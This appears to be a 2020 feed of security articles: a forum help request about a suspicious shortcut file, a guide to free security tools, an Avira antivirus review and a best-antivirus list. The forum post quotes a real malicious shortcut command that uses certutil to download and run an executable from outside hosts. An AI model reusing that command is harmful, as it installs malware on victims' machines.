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.Lnk file with cmd usage - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputer

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.Lnk file with cmd usage - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputer.Lnk file with cmd usage - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputerPosted: 06 Jul 2020 11:33 AM PDT Hi all,Looking for feedback on the likelihood my double clicking of a bad .lnk file caused damage.. When I did double click it, I remember getting a standard windows dialog box. I believe it said the path did not exist or shortcut unavailable.. I'm not finding anything in my startup folder for C:\programdata or my username appdata startup folder...  I ran scans with malwarebytes, Hitman with no results.The .lnk file target was:%ComSpec% /v:on/c(SET V4=/?8ih5Oe0vii2dJ179aaaacabbckbdbhhe=gulches_%PROCESSOR_ARCHITECTURE% !H!&SET H="%USERNAME%.exe"&SET V4adKK47=certutil -urlcache -f https://&IF NOT EXIST !H! (!V4adKK47!izub.fun!V4!||!V4adKK47!de.charineziv.com!V4!&!H!))>nul 2>&1The .lnk file 'start-in' was:"%APPDATA%\Mic…

Top 5 free cybersecurity tools you can download today - Komando

Top 5 free cybersecurity tools you can download today - Komando


Top 5 free cybersecurity tools you can download today - Komando

Posted: 20 Jun 2020 03:54 AM PDT

Just about every month this year we've seen spikes in phishing attacks, malicious websites and other dangers lurking on the web. All that adds up to big money. Consumers have lost nearly $60 million to fraud so far in 2020, the U.S. Federal Trade Commission reports.

You don't have to take this lying down. Between preemptive measures like security software and in-depth system scans for malware, there are plenty of options these days to protect your computer from harm. Tap or click here to see the best online virus scanners you can use for free.

If you're looking for simple, effective ways to stay on top of cybersecurity, these five free downloads can help you protect your system from malware infection, secure your network and help you browse the web with peace of mind. Here's what you need to install.

1. Essential antimalware software for PCs and Macs

Antimalware programs are essential for scanning and cleaning harmful files from your computer. And when it comes to free options, Windows Defender and Malwarebytes have all your bases covered on Windows and Mac.

Windows Defender is designed by Microsoft to work with Windows 10 computers and comes with your PC by default. Because it works behind the scenes, there are no downloads or installation files to mess around with. Using the program, you can scan your computer for malware, quarantine malicious files and remove them with just a few clicks

In addition to performing background scans, this software automatically scans downloads, open programs and provides new Windows Update definitions so you can stay on top of spreading threats. Make sure you're using the latest version. Tap or click here from your PC to update Windows Defender.

As for Apple systems, macOS doesn't have a stock equivalent like Windows Defender, but that doesn't mean you should go without protection.

Malwarebytes for Mac is designed for speed and can scan your entire computer in as little as 30 seconds. It identifies and removes malicious files for you once the scan is complete — no extra work required on your end.

To get started, click the link below and select Free Download. The installer file will appear in your Downloads folder in the bottom right corner of your dock where all your program icons are found. Click the file to open it, and follow the directions that appear on-screen.

Malwarebytes will run you through the process of your first scan once you boot it up for the first time.

2. Quad9 helps you optimize your network for security

DNS is what's responsible for directing you to specific websites when you type in a web address, as well as the reason why you don't have to enter an IP address every time you want to visit a site. Your internet provider typically assigns your DNS settings automatically, but hackers can hijack these settings to redirect you to malicious websites.

Use a safer option: The Quad9 Domain Name System service is maintained by cybersecurity advocates at IBM and The Global Cyber Alliance. Every time you click on a web link, Quad9 will check the site against IBM X-Force's threat intelligence database of over 40 billion analyzed webpages and images.

Quad9 works to protect you by blocking unauthorized DNS redirects right off the bat and can also protect your devices from cyberattacks by blocking remote hosts as well.

All you need to do to use Quad9 is edit the address into your DNS settings, so there are no additional programs to download. Tap or click here to find out more about Quad9, including the step-by-step instructions for your Windows PC or Mac.

3. HTTPS Everywhere encrypts unsecured websites so they're safe to visit

Are you familiar with "HTTPS?" This online marker shows if a website is properly encrypted for secure communication and appears as a lock icon in your address bar, as well as an "https://" in the web address itself.

Most websites these days use HTTPS to guard against hijacking and malicious hacking attempts, but not every site has made the switch.

Fortunately, the HTTPS Everywhere browser extension fixes this issue. It was created as a joint venture between the Electronic Frontier Foundation and the Tor Project. Using a bit of clever coding, it's able to rewrite your web requests as HTTPS — even if the website you visit isn't properly encrypted.

If you're concerned about visiting an unknown or new website, HTTPS Everywhere can give you a bit more peace of mind. Just make sure to pair it with a good cybersecurity suite like the ones above for maximum protection.

You can download the browser extension for the desktop versions of Chrome, Firefox, and Opera — and comes standard with Brave and Tor. For Android smartphones, download the mobile version for Firefox and try in the mobile version of Brave for iOS or Android.

Tap or click here to download the HTTPS Everywhere extension for your favorite browser.

4. This keylogger check will show you if someone is spying on what you type

Keyloggers are devastating programs that can monitor the things you are typing and send them back to the hackers in control of them. This allows them to steal passwords, email addresses and other personal information with ease — all right under your nose.

To protect your PC against keyloggers, anti-keylogging software is your best bet. When it comes to free options, Ghostpresss offers a plethora of features in one lightweight download. Not only does it scan for existing keylogging software on your computer, but it also runs active real-time keylogging protection.

This means that it's running in the background while you type and will block any background attempts to record what you're spelling out. It can even prevent remote screenshots from activating, which hackers sometimes use to capture passwords that have their characters blocked by apps.

Tap or click here to check out Ghostpress anti-keylogger.

Using a Mac? Tap or click here for tips on spotting and removing keyloggers.

5. This hard drive health checker will keep your system running smoothly

Ignoring warning signs of a failing hard drive can cost you a good deal of money and time.

To protect and monitor your hard drive, we recommend using a digital health checker like CrystalDisk for diagnostics. This program provides detailed readouts on the status of your storage system and can tell you when something is awry or unusual before the effects become obvious.

Another great option is HD Tune, which you can use free for 30 days.

A good deal of the information you'll get back from a hard drive health checker is difficult to interpret if you're not an expert. The most important thing you need to check is your disk's "SMART status." SMART — which stands for Self-Monitoring, Analysis, and Reporting Technology — is how your disk reads its health back to you.

SMART uses specific statuses to tell you your hard drive's health. If CrystalDisk shows you any of the following statuses, that means it's time to replace your hard drive in the near future:

  • SMART 5 Reallocated Sectors Count
  • SMART 187 Reported Uncorrectable Errors
  • SMART 188 Command Timeout
  • SMART 197 Current Pending Sector Count
  • SMART 198 Uncorrectable Sector Count

If you keep a frequent eye on your SMART status, you can see an upcoming hard drive failure before it happens and save your valuable files from being lost forever. They don't call it SMART for nothing.

As computers get more advanced, so do the threats we face on the web. Luckily, these programs can give you peace of mind while you surf the internet and can help your system last longer than it might have normally.

Avast vs. AVG 2020 | Antivirus Comparison | US News - U.S. News & World Report

Posted: 09 Jun 2020 10:32 AM PDT

[unable to retrieve full-text content]Avast vs. AVG 2020 | Antivirus Comparison | US News  U.S. News & World Report

Avira Antivirus Pro - Review 2020 - PCMag India

Posted: 11 Jun 2020 12:00 AM PDT

Every computer needs antivirus protection, and one way companies can support that aim is to provide free antivirus to the masses. But these companies can't survive unless some users shell out their hard-earned cash for paid antivirus utilities. Piling on pro-only tools and components is one way companies encourage upgrading to a paid antivirus. Avira Antivirus Pro adds several components not available to users of Avira Free Security, but they don't really add much value. The biggest reason to pay for it is if you want to use Avira in a commercial setting, which isn't allowed with the free version.

Avira's pricing is undeniably on the high side, with a list price of $59.88 per year for one license, $71.88 for three, and $95.88 for five. Admittedly, it seems to be perpetually on sale; just now, the one-license price is discounted to $44.99. That's still higher than the sweet spot price of just under $40. Bitdefender, Webroot, and Emsisoft are all in that $40 price range, as are more than a dozen others. F-Secure Anti-Virus gives you three licenses for that price. You do pay $59.99 for a year of McAfee, but that gets you protection for Windows, macOS, Android, and iOS device in your household.

As a company, Avira is moving to an emphasis on security suite protection rather than standalone antivirus. That's evident in the promotion of Avira Free Security over the basic free antivirus. Avira's two suite products, Avira Internet Security and Avira Prime, along with the free suite, have recently gotten a full user-interface makeover that more thoroughly integrates their components. That wave of enhancement hasn't washed over Antivirus Pro yet, though it's slated to join the rest by the third quarter of this year.

Avira Antivirus Pro Main Window

For now, the antivirus looks just like it did the last time I evaluated it. A launcher utility manages your Avira tools: Antivirus Pro, Software Updater, Password Manager, Phantom VPN, SafeSearch plus, Safe Shopping, Browser Safety, Home Guard, and Privacy Pal. Only Antivirus Pro is initially installed. For testing, I installed Safe Shopping and Browser Safety.

Antivirus Pro's main window features a simple left-side menu and four big buttons representing essential protection components: Real-Time Protection, Ransomware Protection, Web Protection, and Mail Protection. These four appear on the Protection options page in the free suite, but only Real-Time Protection is enabled for free. Antivirus Pro gets all four.

Features Shared With Avira's Free Security

In the past, Avira has made two free products available, a free antivirus and a free security suite. With the latest product line, the company has officially dropped the free antivirus, though it hasn't been wiped from the website. Avira Free Security is a stripped-down version of the top-tier Avira Prime. It includes antivirus protection, naturally, but also integrates a password manager, a feature-limited VPN, and dozens of handy utilities. Many of these features overlap what you get in the Pro antivirus. I'll summarize my findings about those shared features here—you can read my review of the free suite for full details.

Avira Antivirus Pro Lab Results Chart

Avira's scores with the independent labs are quite good. All four of the labs that I follow include Avira's technology, and until recently it boasted a perfect 10 points from my aggregate lab score algorithm. A couple slight bobbles in recent tests brought that to 9.8, but it's still the best score among products tested by all four labs. Bitdefender Antivirus Plus, tested by three labs, came in at 9.9, and Sophos, with two lab reports, at 10.

In my hands-on malware protection test, Avira detected 89 percent of the samples, the same as Spybot - Search & Destroy +AV Home Edition., and earned an overall score of 8.8 points. That's not a great score. Tested with this same set of samples, Webroot SecureAnywhere AntiVirus earned a perfect 10 points. On the other hand, Bitdefender, which, like Avira, takes stellar scores from the labs, came in at 8.5 points in my hands-on test. When my results don't jibe with those of the labs, I give more weight to the labs.

Avira Antivirus Pro Malware Protection Results Chart

For a different view of protection, I challenge each product with 100 recent malware-hosting URLs, noting whether it keeps the browser from accessing the URL, eliminates the malware payload during download, or totally whiffs detection. Avira's Browser Safety component, which installs in Chrome, Edge, Firefox, and Opera (but not Internet Explorer), completely blocked access to 54 percent of the samples and eliminated another 27 percent at the download stage. That total of 81 percent protection is way down from Avira's previous score of 96 percent. McAfee AntiVirus Plus, Sophos, and Vipre all managed 100 percent protection in their latest tests.

Browser Safety also serves to fend off phishing sites, fraudulent sites that attempt to steal your passwords. When I tested this feature, it did much better than during my last evaluation, 93 percent detection compared with a previous score of 66 percent. Even so, quite a few others have done better. In particular, Kaspersky Anti-Virus and Trend Micro both managed 100 percent protection in their respective antiphishing tests.

Avira Antivirus Pro Phishing Protection Results Chart

Avira's free and Pro editions both associate with a large entourage of associated Avira programs, most of them free. The Avira Connect dashboard serves as a launch pad for all the other Avira products, and it helps you connect to the online Avira portal. Especially noteworthy is Avira Phantom VPN, which protects your privacy on unsecure networks, for up to 1GB of traffic per month on a single device (for $9.99 per month you get unlimited traffic on unlimited devices). The free security suite integrates VPN protection. In the Pro antivirus, you can install the VPN by going to the dashboard.

See How We Test Security Software

Less Effective Web Protection

One of the bonuses you get for upgrading to Avira Antivirus Pro is Web Protection. Where the Browser Safety extension only works in supported browsers, Web Protection acts at the network level, aiming to keep all web-connected programs from hooking up with dangerous URLs.

For a comparison of the two features, I ran my malicious URL blocking test again, using the very latest reported malware-hosting URLs. In one virtual machine, I ran the test on Chrome with Browser Safety installed; in another, I used Internet Explorer with no browser extension, just Web Protection.

Avira Antivirus Pro Web Protection

I got through 60 functional real-world malware-hosting URLs without seeing a single sign of life from Web Protection. It did show some action during the remainder of the test, but overall, it missed 70 percent of the dangerous URLs caught by Browser Safety. Avira's total score in both tests was lower than what I previously recorded, so I let the earlier measurement stand.

I started to repeat my antiphishing test, comparing the results of Web Protection in Internet Explorer with my already-recorded results using Browser Safety in Chrome. When I reached a dozen phishing URLs caught by Browser Safety but missed by Web Protection, I dropped the laborious test.

I've said this before. I don't understand why Avira doesn't take the clearly superior detection technology in Browser Safety and apply it to Web Protection. As it is, if you use a browser other than Chrome, Edge, Opera, or Firefox, you get no protection in the free edition and comparatively limited protection in Pro.

Ransomware Protection

New with the previous edition, Avira offers a ransomware protection component, designed to eliminate any ransomware that might get past the ordinary real-time protection. To test this component, I turned off real-time protection, verified that ransomware protection remained enabled, and launched a dozen real-world ransomware samples, one at a time, in a virtual machine cut off from the internet.

Two of the samples took no action, perhaps detecting that they were under observation. All the rest ran to completion. The nasty Petya ransomware encrypted the entire (virtual) disk. My single screen-locker sample successfully locked the screen. And the remaining samples encrypted my test files without a peep from Antivirus Pro. After this dismal performance against real ransomware, I didn't bother testing with the simulated attacks generated by the RanSim ransomware simulator from KnowBe4.

Avira Antivirus Pro Ransomware Protection

It turns out that I was fooled by the display, just as I was the last time I reviewed this product. Despite Avira's status page clearly showing ransomware protection active, it was not. When you turn off real-time protection you're also turning off ransomware protection, even though the display says it's on. That's a user interface element that could use some work. I'll look for improvement when the next version hits the shelves.

Trend Micro Antivirus+ Security couples ransomware protection with overall real-time protection in the same way, though it doesn't send the same kind of mixed message. As with Trend Micro, I couldn't truly test Avira's ransomware-specific abilities, because the regular antivirus wiped out all the samples.

Other Pro Features

The Pro edition adds Mail Protection, which I thought might be a spam filter. It isn't. Rather, it scans incoming POP3 and IMAP email for malware. You can optionally set it to scan outgoing SMTP messages, though I can't picture how a malicious file could escape the real-time antivirus and then get caught by Mail Protection. Given that an incoming malicious attachment would get scanned by the real-time antivirus before it could launch, I'm not sure how much this feature adds.

Most malware attacks come over the Internet, but there are a few malware families that spread using infected USB devices. Some high-end security suites include device control, a business-centered feature that lets an administrator ban the use of unknown USB drives, but allow specific approved USBs. This feature works well in G Data Total Security and TrustPort Total Protection.

Avira Antivirus Pro Manage Devices

Avira's Pro-only Device Protection doesn't give you full USB control. Critically, there's no option to block all devices except those marked as trusted. When you insert a USB drive, it simply asks whether to allow or block access, with a checkbox to remember the device and whitelist or blacklist it. There's no obvious access to configuration for this feature. It appears nowhere on the main window, or in that window's menu. But if you click to configure PC Protection in the Settings dialog, you'll find a page for Device Protection that lets you turn the feature on and off and displays the whitelist and blacklist of known devices. Note that Device Protection is off by default, so if you don't dig into settings and enable it, you'll never see it.

Hoping to find a way to prevent unauthorized users from allowing access for an unknown device, I enabled password protection for the product's configuration. However, password protection doesn't extend to the Allow/Block popup that appears for unknown USB devices. I had no trouble whitelisting an unknown, which defeats the purpose of this feature. If your aim is to keep kids (or employees) from plugging in random, possibly infected USB drives, this feature won't help.

Doesn't Add Enough

Avira Antivirus Pro provides good protection against malware, but all its best features also come in Avira Free Security. Pro-only Web Protection does extend antiphishing and malicious URL blocking to all browsers, but it's vastly less accurate than the Browser Safety extension. And while Device Control aims to let an administrator prevent unauthorized users from mounting unknown USB drives, there's no way to lock it down so they can't. As for Ransomware Protection, I couldn't test it, because it's tied to real-time protection, which eliminated all the ransomware samples.

If you like Avira and want to use it in a noncommercial setting, stick with the free suite. If you need antivirus for your business, pay a little less and choose one of our for-pay antivirus Editors' Choice products. Specifically, Bitdefender Antivirus Plus, Kaspersky Anti-Virus, Norton AntiVirus Plus, and Webroot SecureAnywhere AntiVirus cost less, while McAfee AntiVirus Plus seems to cost the same as Avira, but allows you unlimited installations.

Avira Antivirus Pro Specs

On-Demand Malware Scan Yes
On-Access Malware Scan Yes
Website Rating No
Malicious URL Blocking Yes
Phishing Protection Yes
Behavior-Based Detection Yes
Vulnerability Scan No
Firewall No

Best Antivirus Picks

Further Reading

7 Best Antivirus Software in 2020 - TechNadu

Posted: 09 Jun 2020 12:00 AM PDT

A single day doesn't go by without us hearing about a new breed of malware, or a patch that we need to download to close a vulnerability. Hopefully, we don't have to tell you about the importance of using an antivirus on all your devices. However, what's even more important to keep in mind is that you have every right to be extremely picky when choosing the best antivirus – based on your needs, priorities, and budget. Without a good and reliable antivirus, your computer is exposed to a huge pool of digital dangers, many of which can endanger more than just the files you have on your computer. It's time for you to find the best antivirus in 2020, and TechNadu's team is here to help.

Before we go any deeper, let's clear up some common doubts and misconceptions. When you start your online search for an antivirus soft, you'll see all kinds of solutions offered online. Cybercrime has become widespread, affecting developed countries primarily, and this made antivirus solutions more comprehensive than ever before. In most cases, you'll find sets of applications commonly named "Total Security" or "Internet Suite" – and these bring more than just antivirus software. They often include password managers, VPN applications, firewall applications, and more – and therefore, they come at a high cost. So, keep in mind that we'll focus only on antivirus applications in this article, whose primary role is to prevent malware from entering your system.

Also, one additional note – know that we've spent quite some time researching antivirus solutions, in an effort to bring a wide range of options for different types of users. However, all of the following recommendations for the best antivirus in 2020 have one thing in common – they all come with the very best protection. This covers identifying more than "standard" viruses, as today we have plenty of advanced forms of malware, including trojans, spyware, adware, worms, ransomware, and rootkits. So, no matter which of the following options you pick, you'll get the best possible protection. It means that you should focus on features such as performance, functionality, and price – if you want to find an antivirus aligned with all your needs.

If you want to get to the meat of the matter, jump to our segment describing the 7 best antivirus applications in 2020. However, to take a more comprehensive look, know that we'll be guiding you through the following segments as well:

Do You Really Need an Antivirus? What Can These Applications Do?

We understand if you're hesitant about getting an antivirus, especially if it requires a monthly or annual subscription. Maybe you're thinking that if you browse the Web carefully and download files only from reputable sources, you'll manage to avoid encountering malware. However, things are never that simple. Even if you're extra careful, your chances of not encountering malware are very low.

You need to keep in mind that today's malware is incredibly sophisticated. We have highly successful phishing campaigns, malicious installation files that create botnet networks, as well as ransomware hiding in plain sight. We also have malware stealing information via your computer's ports, which means that having dedicated antivirus protection is the only way to go.

We'll also add that plenty of effort is indeed put towards battling against malware. We often hear about hacking groups being arrested, and companies are always trying to push out new updates and implement mechanisms that prevent malware from reaching your system. However, even if you keep your computer updated, it isn't sufficient to avoid ever-evolving hacking and malware infiltration attempts.

Antivirus applications are designed to fight against a broad scope of malware. These are no longer tools that only identify "viruses." Instead, these applications run in the background at all times, preventing malware from infiltrating your operating system. They also scan incoming and outgoing files, any data peripherals you connect to your computer, and they often come with all kinds of extras – like password managers, encrypted back-up storage, and plenty more.

How to Find the Best Antivirus? What Should You Look For?

There are hundreds of antivirus applications available online, and all of them are saying that they offer the very best protection available. You know better than to trust those marketing claims, we're sure. With this said, what should you look for when trying to find the best antivirus? Well, based on our experience, you should focus on the following aspects:

  • Strong Malware Protection: It goes without saying that your chosen antivirus should do its primary job well. As mentioned earlier, viruses are no longer your main concern – as we have so many different types of malware. So, to ensure that your antivirus will be able to protect you, we recommend relying on respected and independent organizations that test antivirus software. We've chosen to rely on AV-TEST, which is perhaps the oldest and the most respected organization of its kind.
  • Useful Extra Features: The global antivirus market is a highly competitive one. This is a good thing for consumers and customers, as this means that you can choose from a large number of options. During the last couple of years, antivirus applications have become more affordable while also offering plenty of extras – such as secure cloud storage, password managers, software for optimizing your system, advanced firewall protection tools, and more.
  • Fast & Efficient Performance: Many of you have probably heard that an antivirus will slow down your PC's performance. We have to say that this used to be true in the past. However, this is no longer the case with the majority of popular applications.
  • Ease of Use: Even though most of today's antivirus applications come with polished interfaces, it's always a good idea to check what to expect. This especially goes for more advanced solutions, which might come with an overcomplicated UI filled with all kinds of technical terms. Don't worry, you'll only find easy-to-use recommendations in this article, as we made sure to check that they come with modern, polished, and intuitive UIs.
  • Good Value for Money: And finally, we're sure that you always like to find a good deal. Antivirus applications come with different types of licenses and subscriptions, so make sure to think about what you need at the moment and what you'll need in the future. Keep your costs low by choosing an antivirus that protects a single device or has a low-cost subscription that also includes mobile devices. And of course, let's not forget that you can always count on money-back guarantees.

Who Should You Trust When Searching for an Antivirus?

When it comes to antivirus software, you need to know exactly what to expect before buying one. However, the problem is that you'll find plenty of enticing marketing messages on their official websites, many of them offering hard-to-believe promises. So, the question is – how to know precisely what to expect before buying an antivirus? And who should you trust to give you honest advice?

Our strong recommendation is to pay attention to independent and respectable antivirus testing labs. These organizations test antivirus software regularly, so you can easily check out the latest results. You can also compare these to older results to get an idea of what to expect in the future. And when it comes to which testing labs to trust, we recommend doing with the AV-TEST Institute, SE Labs, MRG-Effitas, and AV-Comparatives. It's also good to know whether antivirus vendors have associated with ICSA Labs and West Coast Labs and whether they have any kind of certification.

You should also know that we'll heavily rely on the AV-TEST Institute in this article, as we strongly believe this organization to be perhaps the most respected and unbiased antivirus testing lab right now. Of course, we never forget to check what other labs are saying, so you can count on getting the best possible information in this guide to the best antivirus in 2020.

Why Not Use a Free Antivirus? What About Windows Defender?

If you use Windows 10, you already have access to an excellent antivirus – called Windows Defender. As per the latest AV-TEST's scores, Windows Malware detects from 96.3% to 100% of malware, which is an excellent malware detection rate. However, this is a really basic antivirus that will hardly seamlessly protect your Windows 10 PC.

Premium antivirus solutions come from companies that are dedicated to identifying the latest threats and stopping them before reaching your machine. It means that your antivirus software will continuously "talk" to remote servers, checking for the latest data and database updates. Some antivirus solutions also offer password managers, cloud-based encrypted storage, and more – and this is something that free antivirus solutions will never offer. Also, this is something you won't find in Windows Defender either.

A reliable and highly capable antivirus doesn't have to cost much. Don't worry, we made sure to research deeply and to bring only the best options right now – those that bring plenty of value for their price.

What Can Be Done Beyond Using Antivirus Software?

Antivirus software battles against malware by offering proactive measures, meaning that malicious files won't reach your computer. And even if they do, they'll be isolated and contained before they do any harm. However, if you're truly concerned about getting the best possible protection against online threats, there's something else you can do.

We're talking about VPN applications. These are designed to take your incoming and outgoing Internet traffic and keep it inside of a secure (and encrypted) tunnel. Differently said, VPNs boost your online privacy by preventing anyone from knowing what you do online. They're also highly useful when connecting to public Wi-Fi networks, as they minimize the risk of your computer becoming exposed through an unprotected network.

For more information about VPNs, we recommend reading our article on how VPN applications work. Then, feel free to check the best VPN services – tested by TechNadu's editorial team.

What's the Best Antivirus in 2020?

Finally, let's give you some concrete recommendations. These are the 7 best antivirus applications in 2020.

1. Bitdefender Antivirus Plus 2020

Bitdefender Antivirus Homepage
Basic Information
Supported Platforms Windows, macOS, Android, iOS – separate licenses.
Free Trial Available YES (30-day trial available).
Subscription Price Starting at $19.99 – for the 1st year, 1 device.
Money-Back Guarantees YES (30 days).
Visit Bitdefender Antivirus Plus 2020
AV-TEST Assessment (Rating)
Protection 6.0 (out of 6.0)
Performance 6.0 (out of 6.0)
Usability 5.5 (out of 6.0)

If you check what independent labs are saying, you'll see that Bitdefender easily beats its competitors. This is a highly reputable vendor that's putting a great deal of effort into evolving its cybersecurity tools at a rapid pace. The latest version of the company's Antivirus Plus (2020) is miles ahead of its competitors, providing plenty of value for its price.

First of all, you get Bitdefender's proactive malware-battling tools. This antivirus uses behavioral detection to identify an incredibly large scope of malware. We're talking about viruses, trojans, ransomware, zero-day exploits, rootkits, spyware, as well as botnet-related URLs and brute force attacks. No matter what you do online, Bitdefender will act even before your system gets any chance of being infected. This includes scanning Web search results, getting informed about whether you're visiting harmful websites, avoiding phishing attempts, and plenty more.

Bitdefender also takes proper care of your computer's performance. You won't even notice it running in the background, and you can manually choose from three modes: Game, Movie, and Work. There's also a special "Battery" mode, so you don't lose its protection even if your device's battery is about to run out of juice. And when it comes to extras, you get VPN protection (200MB per day), a password manager, as well as a file shredder.

  • Pros: Highly sophisticated malware protection; Amazing performance; Modern-looking interface; VPN included; Plenty of extras.
  • Cons: Firewall isn't included; Not the fastest scanning.

2. BullGuard Antivirus 2020 Edition

BullGuard Antivirus Homepage
Basic Information
Supported Platforms Windows.
Free Trial Available YES (15-day trial available).
Subscription Price Starting at $29.99 – for 1 year, 1 device.
Money-Back Guarantees YES (30 days).
Visit BullGuard Antivirus 2020 Edition
AV-TEST Assessment (Rating)
Protection 6.0 (out of 6.0)
Performance 6.0 (out of 6.0)
Usability 5.5 (out of 6.0)

BullGuard definitely took its time to perfect its products over the years. What started out as a niche cybersecurity solution is now a lineup of antivirus tools designed for different purposes. However, BullGuard's Antivirus is still the core part of this offer, and its latest version brings much-needed improvements across the board.

First of all, we'll start by saying that BullGuard is a highly recommended product by both AV-TEST and AV-Comparatives labs. This definitely means a lot, especially if you know that, according to those tests, BullGuard Antivirus can detect up to 100% of real-world threats. This is further enhanced by advanced machine learning, introduced in this year's edition. The role of machine learning, in this case, is to create proactive measures against sophisticated malware by detecting and analyzing malicious code. It means that you'll be protected against zero-day threats as well, in addition to various types of malicious operations.

Let's not forget that BullGuard comes with its famous "Game Booster" mode, which isn't just a gimmick. Gamers have been in love with this anti-malware for a while now, which is known for bringing fluid gameplay experience while ensuring your computer is properly protected. Sadly, no other extras are offered – which means that features such as a VPN service, parental controls, and PC tune-up services are either part of a more expensive BullGuard solution or not available.

  • Pros: Capable anti-malware protection; Amazing performance; Effective "Game Booster" mode; Protects against zero-day exploits.
  • Cons: Not the most polished interface; Doesn't offer enticing extras.

3. F-Secure SAFE

F Secure SAFE Homepage
Basic Information
Supported Platforms Windows, macOS, Android, iOS.
Free Trial Available YES (30-day trial available).
Subscription Price Starting at $34.99 – for the 1st year, 3 devices.
Money-Back Guarantees YES (30 days).
Visit F-Secure SAFE
AV-TEST Assessment (Rating)
Protection 6.0 (out of 6.0)
Performance 6.0 (out of 6.0)
Usability 6.0 (out of 6.0)

F-Secure is a Finnish cybersecurity company, operating since 1988. With over 30 years of experience, you can expect plenty of any product offered by F-Secure. However, if you need antivirus protection only, you should focus on F-Secure SAFE, its core product.

Before saying anything else, we'd like to note that F-Secure has done plenty to really perfect their products in the last couple of years. If you find outdated reviews online, you'll see that many say that F-Secure's antivirus isn't capable of bringing reliable protection against malware. However, that's no longer the case. As per AV-TEST's latest scores, F-Secure SAFE now detects 100% of malware infections, including the latest threats. It also brings no false positives whatsoever, which means that this is truly one of the best antivirus solutions in 2020.

Aside from helping you fight against malware, F-Secure SAFE also brings Web browsing and banking protection, as well as ransomware protection. Essentially, it locks down your computer while you're typing sensitive information by encrypting that data. And also, there's a comprehensive set of parental controls. Using this application, you can impose time limits, app control, and content blocking – all done remotely. With this said, we highly recommend F-Secure SAFE if you have kids and wish to protect them online.

  • Pros: Excellent malware detection rates; Recommended by independent labs; Handy parental controls; Protection against ransomware.
  • Cons: Not the most feature-packed; Missing enticing extras.

4. Norton Antivirus Plus

Norton Antivirus Homepage
Basic Information
Supported Platforms Windows, macOS. – separate licenses.
Free Trial Available NO.
Subscription Price Starting at $19.99 – for the 1st year, 1 device.
Money-Back Guarantees YES (60 days).
Visit Norton Antivirus Plus
AV-TEST Assessment (Rating)
Protection 6.0 (out of 6.0)
Performance 5.5 (out of 6.0)
Usability 6.0 (out of 6.0)

We're sure that Norton needs no introduction, as this is one of the most recognizable cybersecurity companies. Being in the business for a long time now, you can be sure that Norton has a product that'll fit your needs in the best way possible. However, if you require the basic antivirus solution, Norton's Antivirus Plus seems like an excellent pick.

When it comes to malware detection, Norton Antivirus Plus comes with three layers of protection, including signature matching. It means that each time you download and try to install an application, Norton will check that software against its database of known malware packages. This system works so well that Norton offers a 100% guarantee – which means that if 100% of malware isn't removed from your system, you're free to ask for your money to be returned. Norton Antivirus Plus also works wonders when it comes to ransomware and phishing detection.

Among extra features, you'll find a couple of exciting tools. There's a password manager where you can store your passwords, credentials, and credit card information. There's also something called "Smart Firewall," which means you'll be protected against unauthorized traffic. And you also get 2GB of cloud storage, where you can back-up your important files. Naturally, you'll want to keep your most essential data in Norton's cloud, as this provides the most effective protection against ransomware.

  • Pros: Multi-platform support; Plenty of unique extras; High-end protection against malware; Around-the-clock customer support.
  • Cons: Might slow down older computers.

5. Trend Micro Antivirus+ Security

Trend Micro Antivirus Homepage
Basic Information
Supported Platforms Windows, macOS – separate licenses.
Free Trial Available YES (30-day trial available).
Subscription Price Starting at $29.95 – for 1 year, 1 device.
Money-Back Guarantees YES (30 days).
Visit Trend Micro Antivirus+ Security
AV-TEST Assessment (Rating)
Protection 6.0 (out of 6.0)
Performance 6.0 (out of 6.0)
Usability 6.0 (out of 6.0)

Trend Micro has numerous cybersecurity solutions, including everything from a VPN service to a password manager. However, this company is still best known for its antivirus, which is now identified as Trend Micro Antivirus+ Security. As you can tell by its name, you can expect a bit more than just an antivirus here, so let's take a closer look.

The most important thing to know is that Antivirus+ Security has the means to keep malware off of your computer. Several independent labs have confirmed that Trend Micro products come with efficient malware protection, and this especially goes for anti-phishing and blocking malicious URLs (websites). It doesn't come with the fastest scans, but they are quick enough not to disrupt your usual workflow. On top of that, you get a polished UI that does have a few quirks here and there (like placeholder icons that act as ads for more expensive products made by Trend Micro). Still, this is a reliable all-around solution that does its job effectively without being in your way.

When it comes to more sophisticated features, know that Antivirus+ Security comes with ransomware protection. Called "Folder Shield," ransomware protection here works for your Documents and Pictures folders automatically, but you're free to add any folders or even USB drives. And also, you get the "Trend Micro Pay Guard," used when shopping online and inputting personal information into websites. Finally, we need to add that Antivirus+ Security doesn't offer a password manager and parental controls.

  • Pros: Certified effectiveness; Ransomware included; Anti-phishing included; Protects you when shopping online.
  • Cons: Not the most polished interface; Some types of scans take longer than usual; Spam filters work only with Outlook.

6. Avira Antivirus Pro

Avira Antivirus Pro Homepage
Basic Information
Supported Platforms Windows, macOS, Android, iOS – separate licenses.
Free Trial Available YES (30-day trial available).
Subscription Price Starting at €27.95 – for 1 year, 1 device.
Money-Back Guarantees YES (30 days).
Visit Avira Antivirus Pro
AV-TEST Assessment (Rating)
Protection 5.5 (out of 6.0)
Performance 6.0 (out of 6.0)
Usability 6.0 (out of 6.0)

Avira's antivirus is often found on the lists of the best free antivirus software. That's because its free antivirus tool comes with a generous offer in comparison to what its competitors bring. However, the premium-priced Antivirus Pro solution gives you even more without breaking the bank.

First, let's mention that Avira is always found among the most recommended antivirus tools by independent testing labs. It's capable of detecting up to 99.5% of malware, including Web and email threats. It also affects a standard PC's performance up to 8% and a high-end PC's performance up to 5%. All of those are excellent numbers, meaning that you'll get reliable protection without actually slowing down your computer. As per the latest AV-TEST report, Avira Antivirus Pro produced no false positives, which is yet another achievement.

When it comes to extras, sadly, you won't find plenty of those here. Avira Antivirus Pro comes with a Firewall manager, an ad-blocker designed for Chrome, Firefox, and Opera, as well as email protection and ransomware protection. It means that features such as parental controls aren't included with this software. Still, we strongly believe this to be one of the best antivirus software, especially considering its overall value.

  • Pros: Smooth performance; Clean and simple interface; Intuitive tools; Ransomware protection; Specialized tools for Web browsers.
  • Cons: Missing enticing extra features.

7. G DATA Antivirus

G DATA Antivirus Homepage
Basic Information
Supported Platforms Windows, macOS – separate licenses.
Free Trial Available YES (30-day trial available).
Subscription Price Starting at $29.95 – for 1 year, 1 device.
Money-Back Guarantees YES (30 days).
Visit G DATA Antivirus
AV-TEST Assessment (Rating)
Protection 5.5 (out of 6.0)
Performance 5.5 (out of 6.0)
Usability 5.0 (out of 6.0)

